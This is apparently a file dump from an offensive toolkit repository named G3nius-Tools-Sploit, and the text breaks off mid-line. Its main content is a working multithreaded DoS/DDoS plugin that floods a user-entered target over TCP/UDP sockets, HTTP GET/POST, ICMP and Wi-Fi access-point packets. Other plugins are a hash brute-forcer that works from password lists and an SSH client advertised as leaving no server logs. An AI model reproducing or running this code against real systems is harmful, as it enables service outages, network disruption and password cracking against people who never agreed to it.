../../lib/RunLibs/_bz2.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_codecs_cn.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_cn.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_codecs_hk.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_hk.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_codecs_jp.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_jp.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_codecs_kr.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_kr.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_codecs_tw.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_tw.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_contextvars.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_contextvars.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_ctypes.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_ctypes.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_decimal.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_decimal.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_lzma.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_lzma.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_multibytecodec.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_multibytecodec.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_multiprocessing.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_multiprocessing.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_opcode.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_opcode.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_posixshmem.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_posixshmem.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_queue.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_queue.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_ssl.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_ssl.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/base_library.zip: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/base_library.zip -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/include: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/include/ -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/lib: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/lib -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libbz2.so.1.0: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libbz2.so.1.0 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libcrypto.so.1.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libcrypto.so.1.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libexpat.so.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libexpat.so.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libffi.so.7: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libffi.so.7 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/liblzma.so.5: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/liblzma.so.5 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libpython3.9.so.1.0: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libpython3.9.so.1.0 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libreadline.so.8: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libreadline.so.8 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libssl.so.1.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libssl.so.1.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libtinfo.so.6: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libtinfo.so.6 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/libz.so.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libz.so.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/main.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/plugins/Connector_Talk/main.py -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/mmap.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/mmap.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/readline.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/readline.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/requires.txt: -------------------------------------------------------------------------------- 1 | socket 2 | os 3 | termcolor 4 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/resource.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/resource.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/termios.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/termios.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/version.txt: -------------------------------------------------------------------------------- 1 | 1.0.1 2 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/DDOSer/HTTP_Attacker.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from lib.GPL.HTTP_Managers import gpl_http_get, gpl_http_post 3 | import plugins.DDOSer.Status_Holders as Holders 4 | from lib.GPL.IO import gpl_sleep 5 | 6 | # Attacker 7 | def HTTP_Attacker(URL, Method, SleepTime, Payload={}, Cookies={}, Headers={'User-Agent': 'Unknown'}): 8 | try: 9 | if Method == 'Post': 10 | while Holders.In_Attack: 11 | gpl_http_post(URL, payload=Payload, headers=Headers, cookies=Cookies) 12 | gpl_sleep(SleepTime) 13 | else: 14 | while Holders.In_Attack: 15 | gpl_http_get(URL, params=Payload, headers=Headers, cookies=Cookies) 16 | gpl_sleep(SleepTime) 17 | except (EOFError, KeyboardInterrupt): 18 | pass -------------------------------------------------------------------------------- /G3nius-Tools/plugins/DDOSer/ICMP_Attacker.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from lib.GPL.attackers.network.ICMP import gpl_icmp 3 | import plugins.DDOSer.Status_Holders as Holders 4 | 5 | # Attacker 6 | def ICMP_Attacker(IP, packet_size=68): 7 | try: 8 | buff = ' ' * packet_size 9 | while Holders.In_Attack: 10 | gpl_icmp(IP, payload=buff) 11 | except (EOFError, KeyboardInterrupt): 12 | pass -------------------------------------------------------------------------------- /G3nius-Tools/plugins/DDOSer/Socket_Attacker.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM 3 | import plugins.DDOSer.Status_Holders as Holders 4 | from lib.GPL.IO import gpl_sleep 5 | from lib.core.Error_Handler import Handler 6 | import lib.config.Error_Levels as Error_Levels 7 | 8 | # Attack 9 | def SOCKET_Attacker(IP, Port, Protocol, Method, Sleep_Time, Data:bytes): 10 | try: 11 | while Holders.In_Attack: 12 | while Holders.In_Attack: 13 | # Create Session 14 | if Protocol == 1: 15 | # TCP 16 | Session = socket(AF_INET, SOCK_STREAM) 17 | else: 18 | # UDP 19 | Session = socket(AF_INET, SOCK_DGRAM) 20 | # Connect 21 | try: 22 | Session.connect((IP, Port)) 23 | except: 24 | Handler(Error_Levels.Failed_Job, 'Failed to connect ' + IP + ':' + str(Port) + ' , retry after : ' + str(Sleep_Time)) 25 | gpl_sleep(Sleep_Time) 26 | continue 27 | if Method == 1: 28 | # Connect & Close 29 | Session.close() 30 | gpl_sleep(Sleep_Time) 31 | else: 32 | # Send Data 33 | break 34 | # Attack if method is send data 35 | while Holders.In_Attack: 36 | try: 37 | Session.send(Data) 38 | except: 39 | # Socket Closed - Retry to connect 40 | break 41 | gpl_sleep(Sleep_Time) 42 | except (KeyboardInterrupt, EOFError): 43 | pass -------------------------------------------------------------------------------- /G3nius-Tools/plugins/DDOSer/Status_Holders.py: -------------------------------------------------------------------------------- 1 | def Create_Holders(): 2 | global In_Attack 3 | In_Attack = True -------------------------------------------------------------------------------- /G3nius-Tools/plugins/DDOSer/Title.txt: -------------------------------------------------------------------------------- 1 | DOS-DDOS (Socket,HTTP,HTTPS,ICMP,Wi-Fi) -------------------------------------------------------------------------------- /G3nius-Tools/plugins/DDOSer/WiFi_Attacker.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.GPL.attackers.signals.IEEE_802_11_WiFi.Fake_Packet import gpl_wifi_packet 3 | 4 | # attacker 5 | def IEEE_802_11_Attacker(BSSID, Count): 6 | gpl_wifi_packet(BSSID, Count=Count) -------------------------------------------------------------------------------- /G3nius-Tools/plugins/DDOSer/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | # Error handlers 5 | from lib.core.Error_Handler import Handler 6 | import lib.config.Error_Levels as Error_Levels 7 | import plugins.DDOSer.Status_Holders as Holders 8 | try: 9 | """ libs """ 10 | # external 11 | from threading import Thread 12 | 13 | # internal 14 | from lib.core.End_Plugin import End_Plugin 15 | from lib.GPL.String_Workers import gpl_JSON_loads 16 | from lib.GPL.Page_Managers import gpl_set_banner_verion 17 | from lib.core.Check_Supported_OS import Check_Supported 18 | from lib.GPL.Access_Managers import gpl_check_root_needed_with_error 19 | from lib.GPL.IO import gpl_input, gpl_while_input, gpl_sleep, gpl_confirm 20 | from lib.GPL.attackers.signals.IEEE_802_11_WiFi.Check_Requirements import gpl_wifi_check_requirements 21 | from lib.GPL.attackers.signals.IEEE_802_11_WiFi.Monning import gpl_wifi_monning_on, gpl_wifi_monning_off 22 | from lib.GPL.attackers.signals.IEEE_802_11_WiFi.Channel import gpl_wifi_set_channel 23 | 24 | # plugin 25 | from plugins.DDOSer.HTTP_Attacker import HTTP_Attacker 26 | from plugins.DDOSer.ICMP_Attacker import ICMP_Attacker 27 | from plugins.DDOSer.Socket_Attacker import SOCKET_Attacker 28 | from plugins.DDOSer.WiFi_Attacker import IEEE_802_11_Attacker 29 | 30 | 31 | """ set version """ 32 | gpl_set_banner_verion('2.0.0') 33 | 34 | """ functions """ 35 | def Get_JSON(Title): 36 | while True: 37 | Data = gpl_input(Title) 38 | Data = gpl_JSON_loads(Data) 39 | if Data == None: 40 | Handler(Error_Levels.Failed_Job, "It's not a valid JSON format!") 41 | gpl_sleep() 42 | else: 43 | return Data 44 | 45 | """ attackers """ 46 | Holders.Create_Holders() 47 | # get info 48 | # type 49 | Type = gpl_while_input('Choose target type:', ['SOCKET (TCP / UDP)', 'ICMP', 'HTTP / HTTPS', 'Wi-Fi / AccessPoint']) 50 | # threads 51 | while True: 52 | Thread_Numbers = gpl_input("Enter number of Threads: ", get_int=True) 53 | if Thread_Numbers <= 0: 54 | Handler(Error_Levels.Failed_Job, "Numbers of Threads can't be <= 0") 55 | gpl_sleep() 56 | else: 57 | break 58 | # sleep 59 | while True: 60 | Sleep_Time = gpl_input("Enter number of Sleep time (Sec): ", get_float=True) 61 | if Sleep_Time < 0: 62 | Handler(Error_Levels.Failed_Job, "Numbers of sleep time can't be lower than 0!") 63 | gpl_sleep() 64 | else: 65 | break 66 | 67 | 68 | if Type == 1: 69 | # SOCKET 70 | # IP 71 | IP = gpl_input('Enter Target IP: ', get_ip=True) 72 | # Port 73 | Port = gpl_input('Enter port number: ', get_port=True) 74 | # Protocol 75 | Protocol = gpl_while_input('Choose target type:', ['TCP SOCKET', 'UDP SOCKET']) 76 | # Attack type 77 | Method = gpl_while_input('Choose type of DDOS:', ['Connect and close to target.', 'Send data on socket session.']) 78 | # Data 79 | if Method == 2: 80 | Data = gpl_input('Enter data to send on socket: ').encode() 81 | else: 82 | Data = '' 83 | # Attack 84 | for i in range(0, Thread_Numbers): 85 | thread = Thread(target=SOCKET_Attacker, args=(IP, Port, Protocol, Method, Sleep_Time, Data,)) 86 | thread.start() 87 | # Stop 88 | Handler(Error_Levels.Info, 'Attack Started, Press CTRL+C to stop attack.') 89 | while True: 90 | try: 91 | input() 92 | except (EOFError, KeyboardInterrupt): 93 | Holders.In_Attack = False 94 | Handler(Error_Levels.Info, 'Stopping attack, Please wait...') 95 | 96 | 97 | 98 | elif Type == 2: 99 | # ICMP 100 | IP = gpl_input('Target IP: ', get_ip=True) 101 | while True: 102 | Packet_Size = gpl_input("Packet size number (Normal: 64) : ", get_int=True) 103 | if Packet_Size <= 0: 104 | Handler(Error_Levels.Failed_Job, "Packet size number can't be <= 0") 105 | gpl_sleep() 106 | else: 107 | break 108 | # Running Threads 109 | for i in range(0, Thread_Numbers): 110 | attacker = Thread(target=ICMP_Attacker, args=(IP, Packet_Size,)) 111 | attacker.start() 112 | 113 | 114 | 115 | 116 | elif Type == 3: 117 | # HTTP/HTTPS 118 | URL = gpl_input('Enter target URL: ', get_URL=True) 119 | #Methods 120 | Methods = ['GET', 'POST'] 121 | Method = gpl_while_input('Choose method:', Methods) 122 | if gpl_confirm('Do you want use custom Headers, Cookies, and etc..', False): 123 | # Headers 124 | Headers = Get_JSON('Enter custom headers as JSON format : ') 125 | # Cookies 126 | Cookies = Get_JSON('Enter custom cookies as JSON format : ') 127 | # Payload 128 | Payload = Get_JSON('Enter custom payload as JSON format : ') 129 | # Attacker Thread 130 | for i in range(0, Thread_Numbers): 131 | attacker = Thread(target=HTTP_Attacker, args=(URL, Methods[Method - 1], Sleep_Time, Payload, Cookies, Headers,)) 132 | attacker.start() 133 | else: 134 | for i in range(0, Thread_Numbers): 135 | attacker = Thread(target=HTTP_Attacker, args=(URL, Methods[Method - 1], Sleep_Time,)) 136 | attacker.start() 137 | # Stop 138 | Handler(Error_Levels.Info, 'Attack Started, Press CTRL+C to stop attack.') 139 | while True: 140 | try: 141 | input() 142 | except (EOFError, KeyboardInterrupt): 143 | Holders.In_Attack = False 144 | Handler(Error_Levels.Info, 'Stopping attack, Please wait...') 145 | break 146 | 147 | 148 | 149 | else: 150 | # Wi-Fi/AP 151 | # checking 152 | if not Check_Supported(Linux=True): 153 | Handler(Error_Levels.High, "Can't do DOS-DDOS on IEEE 802.11 signals.", 'Only Linux systems can do attack.') 154 | End_Plugin() 155 | if not gpl_wifi_check_requirements(): 156 | Handler(Error_Levels.High, "Install 'aircrack-ng' and 'net-tools' with your package manager.") 157 | End_Plugin() 158 | gpl_check_root_needed_with_error(description='This plugin need root access. Run as Root.') 159 | # ask BSSID 160 | BSSID = gpl_input("Enter BSSID of target AP: ", get_MAC=True) 161 | Channel = gpl_input("Enter channel of target AP: ", get_int=True) 162 | # Monning 163 | Handler(Error_Levels.Info, "Monning interface...", "May be disconnected, It's normally.") 164 | if gpl_wifi_monning_on(): 165 | Handler(Error_Levels.Alert, "Interface monning was successfully.") 166 | # set channel 167 | gpl_wifi_set_channel(Channel) 168 | # Attack 169 | Handler(Error_Levels.Alert, "Attack started successfully.", 'Use CTRL+C once, to stop attack.') 170 | while True: 171 | try: 172 | IEEE_802_11_Attacker(BSSID, Thread_Numbers) 173 | except (EOFError, KeyboardInterrupt): 174 | break 175 | else: 176 | gpl_sleep(Sleep_Time) 177 | Handler(Error_Levels.Info, "Attack stoping.") 178 | # Unmonning 179 | Handler(Error_Levels.Info, "Interface unmonning...") 180 | if gpl_wifi_monning_off(): 181 | Handler(Error_Levels.Alert, "Interface unmonning was successfully.") 182 | else: 183 | Handler(Error_Levels.Failed_Job, "Failed to umonning interface.", "If can't connect to other Wi-Fis, Reboot your OS.") 184 | else: 185 | Handler(Error_Levels.Failed_Job, "Interface monning was failed. Fixing Monning...") 186 | gpl_wifi_monning_off() 187 | Handler(Error_Levels.High, "Unmonned done ok. Failed to monning interface!", "Please report this to support E-Mail.") 188 | 189 | except (EOFError, KeyboardInterrupt): 190 | Handler(Error_Levels.Failed_Job, "Exit with user request.") -------------------------------------------------------------------------------- /G3nius-Tools/plugins/GoPremium/Title.txt: -------------------------------------------------------------------------------- 1 | Convert to premium license. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/GoPremium/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | from lib.GPL.HTTP_Managers import gpl_http_get 6 | from lib.core.Error_Handler import Handler 7 | import lib.config.Error_Levels as Error_Levels 8 | 9 | """ show price """ 10 | # get price 11 | Price = gpl_http_get('https://api.bugzone.ir/G3nius/PremiumValue.txt', ok_http_codes=[200]) 12 | # no internet 13 | if Price == None: 14 | Handler(Error_Levels.Critical, "Failed to connect server for get price. Check your internet connection.",) 15 | else: 16 | # show 17 | Handler(Error_Levels.Alert, "It's only \x1b[6;32m" + Price.text + "\x1b[0m per month!") 18 | Handler(Error_Levels.Alert, "\n\nFor buy it send message with once of following links:") 19 | Handler(Error_Levels.Alert, "\tWebsite: https://bugzone.ir/") 20 | Handler(Error_Levels.Alert, "\tE-Mail: admin@bugzone.ir") 21 | Handler(Error_Levels.Alert, "\tInstagram: https://instagram.com/WitBlack_pv") 22 | Handler(Error_Levels.Alert, "\tTelegram: https://t.me/WitBlack") 23 | Handler(Error_Levels.Alert, "\tPhone: +98 9379446362\n\n") -------------------------------------------------------------------------------- /G3nius-Tools/plugins/GoPremium/version.txt: -------------------------------------------------------------------------------- 1 | 1.0.0 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Hash_Decoder/Title.txt: -------------------------------------------------------------------------------- 1 | Hash/Cipher Breaker. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Hash_Decoder/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | # External 6 | import hashlib 7 | 8 | # GPL 9 | from lib.GPL.IO import gpl_while_input, gpl_confirm, gpl_input 10 | from lib.GPL.Page_Managers import gpl_clear_and_banner, gpl_set_banner_verion 11 | from lib.GPL.File_Workers import gpl_ask_load_from_file 12 | from lib.GPL.attackers.cryptography.XOR import gpl_xor 13 | 14 | # Core 15 | from lib.core.Error_Handler import Handler 16 | 17 | # configs 18 | import lib.config.Error_Levels as Error_Levels 19 | 20 | 21 | # Set plugin version 22 | gpl_set_banner_verion('2.0.1') 23 | 24 | # Show menu 25 | Options = ['MD5', 'SHA-1', 'SHA-224', 'SHA3-224', 'SHA-256', 'SHA3-256', 'SHA-384', 'SHA3-384', 'SHA-512', 'SHA3-512', 'XOR (Without Brute Force)'] 26 | Choose = gpl_while_input('Select a algorithm to decode: ', Options) 27 | 28 | 29 | # Verbose ? 30 | Verbose = gpl_confirm('Run as Verbose', True) 31 | if Verbose.lower() == 'y' or Verbose.lower() == 'yes': 32 | Verbose = True 33 | else: 34 | Verbose = False 35 | 36 | # if be type of hash 37 | if Choose <= 10: 38 | Hash = gpl_input('Enter hash to find: ') 39 | Password_List = gpl_ask_load_from_file(ask_address_text='Enter address/name of Password list : ', read_lines=True) 40 | gpl_clear_and_banner() 41 | Handler(Error_Levels.Info, 'Attack started') 42 | Found = False 43 | # Brute Force 44 | if Choose == 1: 45 | # MD5 46 | for Password in Password_List: 47 | if hashlib.md5(bytes(Password.encode())).hexdigest() == hash: 48 | Handler(Error_Levels.Alert, "MD5 hash found !", "Value: " + Password) 49 | Found = True 50 | break 51 | elif Verbose: 52 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 53 | elif Choose == 2: 54 | # SHA-1 55 | for Password in Password_List: 56 | if hashlib.sha1(bytes(Password.encode())).hexdigest() == hash: 57 | Handler(Error_Levels.Alert, "SHA1 hash found !", "Value: " + Password) 58 | Found = True 59 | break 60 | elif Verbose: 61 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 62 | elif Choose == 3: 63 | # SHA-224 64 | for Password in Password_List: 65 | if hashlib.sha224(bytes(Password.encode())).hexdigest() == hash: 66 | Handler(Error_Levels.Alert, "SHA224 hash found !", "Value: " + Password) 67 | Found = True 68 | break 69 | elif Verbose: 70 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 71 | elif Choose == 4: 72 | # SHA3-224 73 | for Password in Password_List: 74 | if hashlib.sha3_224(bytes(Password.encode())).hexdigest() == hash: 75 | Handler(Error_Levels.Alert, "SHA3-224 hash found !", "Value: " + Password) 76 | Found = True 77 | break 78 | elif Verbose: 79 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 80 | elif Choose == 5: 81 | # SHA-256 82 | for Password in Password_List: 83 | if hashlib.sha256(bytes(Password.encode())).hexdigest() == hash: 84 | Handler(Error_Levels.Alert, "SHA256 hash found !", "Value: " + Password) 85 | Found = True 86 | break 87 | elif Verbose: 88 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 89 | elif Choose == 6: 90 | # SHA3-256 91 | for Password in Password_List: 92 | if hashlib.sha3_256(bytes(Password.encode())).hexdigest() == hash: 93 | Handler(Error_Levels.Alert, "SHA3_256 hash found !", "Value: " + Password) 94 | Found = True 95 | break 96 | elif Verbose: 97 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 98 | elif Choose == 7: 99 | # SHA-384 100 | for Password in Password_List: 101 | if hashlib.sha384(bytes(Password.encode())).hexdigest() == hash: 102 | Handler(Error_Levels.Alert, "SHA384 hash found !", "Value: " + Password) 103 | Found = True 104 | break 105 | elif Verbose: 106 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 107 | elif Choose == 8: 108 | # SHA3-384 109 | for Password in Password_List: 110 | if hashlib.sha3_384(bytes(Password.encode())).hexdigest() == hash: 111 | Handler(Error_Levels.Alert, "SHA3_384 hash found !", "Value: " + Password) 112 | Found = True 113 | break 114 | elif Verbose: 115 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 116 | elif Choose == 9: 117 | # SHA-512 118 | for Password in Password_List: 119 | if hashlib.sha512(bytes(Password.encode())).hexdigest() == hash: 120 | Handler(Error_Levels.Alert, "SHA512 hash found !", "Value: " + Password) 121 | Found = True 122 | break 123 | elif Verbose: 124 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 125 | elif Choose == 10: 126 | # SHA3-512 127 | for Password in Password_List: 128 | if hashlib.sha3_512(bytes(Password.encode())).hexdigest() == hash: 129 | Handler(Error_Levels.Alert, "SHA3-512 hash found !", "Value: " + Password) 130 | Found = True 131 | break 132 | elif Verbose: 133 | Handler(Error_Levels.Failed_Job, 'Testing "' + Password + '" ...') 134 | # If not found 135 | if not Found: 136 | gpl_clear_and_banner() 137 | Handler(Error_Levels.Failed_Job, 'Sorry. this hash not in Password list.') 138 | elif Choose == 11: 139 | Options = ['Enter key and value to get encoded value.', 'Enter encoded value and key to get decoded value.', 'Enter value and encoded to get key.'] 140 | Choose = gpl_while_input('Select Once:', Options) 141 | if Choose == 1: 142 | # encoded = XOR of value & key 143 | Key = gpl_input('Enter key: ') 144 | Value = gpl_input('Enter value to encode: ') 145 | Handler(Error_Levels.Alert, 'Encoded value with XOR:', 'Value: ' + gpl_xor(Key, Value)) 146 | elif Choose == 2: 147 | # decoded = XOR of key & encoded 148 | Key = gpl_input('Enter key: ') 149 | Encoded = gpl_input('Enter encoded value: ') 150 | Handler(Error_Levels.Alert, 'Decoded value with XOR:', 'Value: ' + gpl_xor(Key, Encoded)) 151 | else: 152 | # key = XOR of encoded & value 153 | Value = gpl_input('Enter value: ') 154 | Encoded = gpl_input('Enter encoded value: ') 155 | Handler(Error_Levels.Alert, 'Decoded value with XOR:', 'Value: ' + gpl_xor(Value, Encoded)) 156 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/HiddenSSH/Title.txt: -------------------------------------------------------------------------------- 1 | SSH client without any log on Server (Just SSH logs). -------------------------------------------------------------------------------- /G3nius-Tools/plugins/HiddenSSH/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | # GPL 6 | from lib.GPL.attackers.protocols.SSH import gpl_disconnect_SSH, gpl_connect_to_ssh, gpl_run_command_on_SSH 7 | from lib.GPL.IO import gpl_input 8 | from lib.GPL.Page_Managers import gpl_clear_and_banner, gpl_set_banner_verion 9 | 10 | # Core 11 | from lib.core.Error_Handler import Handler 12 | 13 | # Configs 14 | import lib.config.Exit_Codes as Exit_Codes 15 | import lib.config.Error_Levels as Error_Levels 16 | gpl_set_banner_verion('2.0.0') 17 | 18 | """ ask """ 19 | IP = gpl_input('Enter target server IP: ', get_ip=True) 20 | Port = gpl_input('Enter port: (Default: 22): ', get_port=True) 21 | Username = gpl_input('Enter username: ') 22 | Password = gpl_input('Enter password: ') 23 | 24 | """ connect """ 25 | SSH_Controller = gpl_connect_to_ssh(IP, Username, Password, Port) 26 | if not SSH_Controller: 27 | Handler(Error_Levels.Failed_Job, "Failed to Connect SSH. Please Check IP/Port/Username/Password.") 28 | else: 29 | """ Connected, handler """ 30 | # Finishing connection 31 | gpl_clear_and_banner() 32 | Handler(Error_Levels.Alert, f"Connected, Talking to server...") 33 | # Detect first banner 34 | Result = gpl_run_command_on_SSH(SSH_Controller, 'echo -n ""') 35 | Banner_Stdout_lenth = len(Result['Stdout']) 36 | Banner_Stderr_lenth = len(Result['Stderr']) 37 | # Process PS1 38 | PS1 = gpl_run_command_on_SSH(SSH_Controller, 'echo -e $PS1') 39 | # Show .bashrc errors if exists 40 | if PS1['Stderr'] != b'': 41 | print(PS1['Stderr']) 42 | # Fix PS1 43 | PS1 = PS1['Stdout'][Banner_Stdout_lenth:] 44 | if PS1[-1] == "\n": 45 | PS1 = PS1[:-1] 46 | # Show connected 47 | Handler(Error_Levels.Alert, f"Successfully connected to {IP}:{Port}") 48 | del IP, Port, Username, Password 49 | # Ask command 50 | while True: 51 | Command = gpl_input(PS1, q_to_exit=False, clear_when_exit=False, clear_and_banner_before=False) 52 | if Command == 'exit' or Command == 'logout': 53 | break 54 | # Run command 55 | Result = gpl_run_command_on_SSH(SSH_Controller, Command) 56 | # Check if command not found 57 | if Result['ExitCode'] == Exit_Codes.CommandNotFound: 58 | Handler(Error_Levels.Failed_Job, 'Command not found !') 59 | elif Result['ExitCode'] != Exit_Codes.Normal: 60 | # Unknown error 61 | Handler(Error_Levels.Failed_Job, f"Exit Code: {Result['ExitCode']}") 62 | else: 63 | print(Result['Stdout'][Banner_Stdout_lenth:]) 64 | print(Result['Stderr'][Banner_Stderr_lenth + Banner_Stdout_lenth:].decode()) 65 | Handler(Error_Levels.Alert, 'Logged out successfully.') 66 | gpl_disconnect_SSH(SSH_Controller) 67 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/IP2MAC/Title.txt: -------------------------------------------------------------------------------- 1 | Convert IP to MAC. -------------------------------------------------------------------------------- /G3nius-Tools/plugins/IP2MAC/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | from lib.GPL.attackers.network.IP_To_MAC import gpl_ip_to_mac 6 | from lib.GPL.IO import gpl_input 7 | from lib.GPL.Page_Managers import gpl_clear_and_banner, gpl_set_banner_verion 8 | from lib.core.Error_Handler import Handler 9 | import lib.config.Error_Levels as Error_Levels 10 | 11 | """ configs """ 12 | Version = '2.0.1' 13 | 14 | 15 | """ proccess """ 16 | # clear page 17 | gpl_set_banner_verion(Version) 18 | gpl_clear_and_banner() 19 | 20 | # find mac 21 | IP = gpl_input('Enter 